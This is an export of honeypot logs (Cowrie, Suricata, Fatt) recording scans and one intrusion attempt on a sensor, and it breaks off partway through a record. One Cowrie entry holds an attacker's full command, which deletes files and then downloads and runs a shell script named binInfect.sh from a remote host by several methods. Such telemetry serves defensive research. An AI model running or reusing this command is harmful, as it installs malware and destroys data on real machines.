29370	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:25:25.926377+03	2021-09-20 14:30:04.043523+03	{"_id": "BQb0AnwBvYTbRNuEIzUK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:25:25.926377Z", "@timestamp": "2021-09-20T11:25:25.926Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29371	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:51.514607+03	2021-09-20 14:30:04.045524+03	{"_id": "Jwb0AnwBvYTbRNuEhjX1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "input": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.command.input", "message": "CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "session": "90b855a8ccd2", "@version": "1", "timestamp": "2021-09-20T11:25:51.514607Z", "@timestamp": "2021-09-20T11:25:51.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29372	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.447159+03	2021-09-20 14:30:04.046524+03	{"_id": "KAb0AnwBvYTbRNuEiDWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "Wget/1.11.4", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 882864614833299, "@version": "1", "in_iface": "enp5s0", "src_port": 50930, "dest_port": 80, "timestamp": "2021-09-20T11:25:52.447159Z", "@timestamp": "2021-09-20T11:25:52.447Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
29405	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:49.430565+03	2021-09-20 14:30:04.089524+03	{"_id": "Iwb0AnwBvYTbRNuEfzUl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.params", "message": [], "session": "90b855a8ccd2", "@version": "1", "timestamp": "2021-09-20T11:25:49.430565Z", "@timestamp": "2021-09-20T11:25:49.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29373	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:52.096316+03	2021-09-20 14:30:04.047524+03	{"_id": "Kwb0AnwBvYTbRNuEiDWn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60795, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 425064050715036, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55484, "timestamp": "2021-09-20T11:25:52.096316Z", "@timestamp": "2021-09-20T11:25:52.096Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29374	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:52.27266+03	2021-09-20 14:30:04.048524+03	{"_id": "LQb0AnwBvYTbRNuEiTXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "@version": "1", "protocol": "http", "src_port": 50930, "dest_port": 80, "fatt_http": {"userAgent": "Wget/1.11.4", "requestURI": "/binInfect.sh", "requestMethod": "GET", "requestFullURI": "http://betaalverzoek.ir/binInfect.sh", "requestVersion": "HTTP/1.0", "clientHeaderHash": "8911d3c40a2cbf036e9c1617f6fea141", "clientHeaderOrder": "host,user_agent"}, "timestamp": "2021-09-20T11:25:52.272660", "@timestamp": "2021-09-20T11:25:52.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
29375	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:52.822166+03	2021-09-20 14:30:04.049523+03	{"_id": "Rwb0AnwBvYTbRNuEijXe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "http://betaalverzoek.ir/binInfect.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download", "message": "Downloaded URL (http://betaalverzoek.ir/binInfect.sh) with SHA-256 bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f to dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "outfile": "dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "session": "90b855a8ccd2", "@version": "1", "destfile": "dl/20210920112552_90b855a8ccd2_0_http___betaalverzoek_ir_binInfect_sh", "duplicate": true, "timestamp": "2021-09-20T11:25:52.822166Z", "@timestamp": "2021-09-20T11:25:52.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
29376	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.833652+03	2021-09-20 14:30:04.051524+03	{"_id": "Swb0AnwBvYTbRNuEjDWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56638, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2029882875885684, "@version": "1", "in_iface": "enp5s0", "src_port": 42178, "dest_port": 53, "timestamp": "2021-09-20T11:25:52.833652Z", "@timestamp": "2021-09-20T11:25:52.833Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29377	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:25:52.885849+03	2021-09-20 14:30:04.052524+03	{"_id": "TAb0AnwBvYTbRNuEjDWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2017382373543761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60719, "dest_port": 3389, "timestamp": "2021-09-20T11:25:52.885849Z", "@timestamp": "2021-09-20T11:25:52.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29406	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:25:47.786073+03	2021-09-20 14:30:04.091525+03	{"_id": "Ewb0AnwBvYTbRNuEdzVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "b30602d26bcc", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:25:47.786073Z", "@timestamp": "2021-09-20T11:25:47.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29378	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:25:52.885849+03	2021-09-20 14:30:04.053524+03	{"_id": "UQb0AnwBvYTbRNuEjDWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2017382373543761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60719, "dest_port": 3389, "timestamp": "2021-09-20T11:25:52.885849Z", "@timestamp": "2021-09-20T11:25:52.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29379	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.835844+03	2021-09-20 14:30:04.055524+03	{"_id": "Uwb0AnwBvYTbRNuEjDWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 63}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:25:52.835844Z", "@timestamp": "2021-09-20T11:25:52.835Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29380	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.835844+03	2021-09-20 14:30:04.056524+03	{"_id": "VAb0AnwBvYTbRNuEjDWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "dest_port": 69, "timestamp": "2021-09-20T11:25:52.835844Z", "@timestamp": "2021-09-20T11:25:52.835Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29381	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.95448+03	2021-09-20 14:30:04.057524+03	{"_id": "VQb0AnwBvYTbRNuEjDWT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2017382373543761, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 60719, "timestamp": "2021-09-20T11:25:52.954480Z", "@timestamp": "2021-09-20T11:25:52.954Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29382	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:52.832464+03	2021-09-20 14:30:04.059525+03	{"_id": "Vwb0AnwBvYTbRNuEjDWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 58124, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1146981481228901, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 47514, "timestamp": "2021-09-20T11:25:52.832464Z", "@timestamp": "2021-09-20T11:25:52.832Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29383	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:25:53.014757+03	2021-09-20 14:30:04.060524+03	{"_id": "WAb0AnwBvYTbRNuEjDWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 1, "pkts_toserver": 1, "bytes_toclient": 91, "bytes_toserver": 63}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872530923536644, "payload": "RQAAMa/vQAAxEcA8wKgUdG1olwvKQwBFAB0GLwABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:25:53.014757Z", "@timestamp": "2021-09-20T11:25:53.014Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1..<...tmh...C.E.../..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29384	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:25:52.885849+03	2021-09-20 14:30:04.061524+03	{"_id": "WQb0AnwBvYTbRNuEjTW_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 60719, "dest_port": 3389, "timestamp": "2021-09-20T11:25:52.885849", "@timestamp": "2021-09-20T11:25:52.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29385	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:25:52.447159+03	2021-09-20 14:30:04.063523+03	{"_id": "Kgb0AnwBvYTbRNuEiDWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "Wget/1.11.4", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "109.104.151.11", "dest_ip": "192.168.20.116", "flow_id": 882864614833299, "@version": "1", "fileinfo": {"md5": "05b215cc1fce4e08c4a5c5693e3bc2ec", "gaps": false, "size": 1987, "magic": "Bourne-Again shell script, ASCII text executable", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/binInfect.sh"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 50930, "timestamp": "2021-09-20T11:25:52.447159Z", "@timestamp": "2021-09-20T11:25:52.447Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
29386	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:52.455294+03	2021-09-20 14:30:04.064525+03	{"_id": "LAb0AnwBvYTbRNuEiDWn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27288, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 460319289830932, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 41772, "timestamp": "2021-09-20T11:25:52.455294Z", "@timestamp": "2021-09-20T11:25:52.455Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29387	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:52.637683+03	2021-09-20 14:30:04.066524+03	{"_id": "Lgb0AnwBvYTbRNuEiTXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "@version": "1", "protocol": "http", "src_port": 50932, "dest_port": 80, "fatt_http": {"userAgent": "curl/7.38.0", "requestURI": "/binInfect.sh", "requestMethod": "GET", "requestFullURI": "http://betaalverzoek.ir/binInfect.sh", "requestVersion": "HTTP/1.0", "clientHeaderHash": "8911d3c40a2cbf036e9c1617f6fea141", "clientHeaderOrder": "host,user_agent"}, "timestamp": "2021-09-20T11:25:52.637683", "@timestamp": "2021-09-20T11:25:52.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
29412	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:57.325307+03	2021-09-20 14:30:04.099524+03	{"_id": "Ywb0AnwBvYTbRNuEnDUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42346, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 719447552030395, "@version": "1", "in_iface": "enp5s0", "src_port": 49354, "dest_port": 53, "timestamp": "2021-09-20T11:25:57.325307Z", "@timestamp": "2021-09-20T11:25:57.325Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29388	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:52.451688+03	2021-09-20 14:30:04.067523+03	{"_id": "SAb0AnwBvYTbRNuEijXe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "http://betaalverzoek.ir/binInfect.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download", "message": "Downloaded URL (http://betaalverzoek.ir/binInfect.sh) with SHA-256 bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f to dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "outfile": 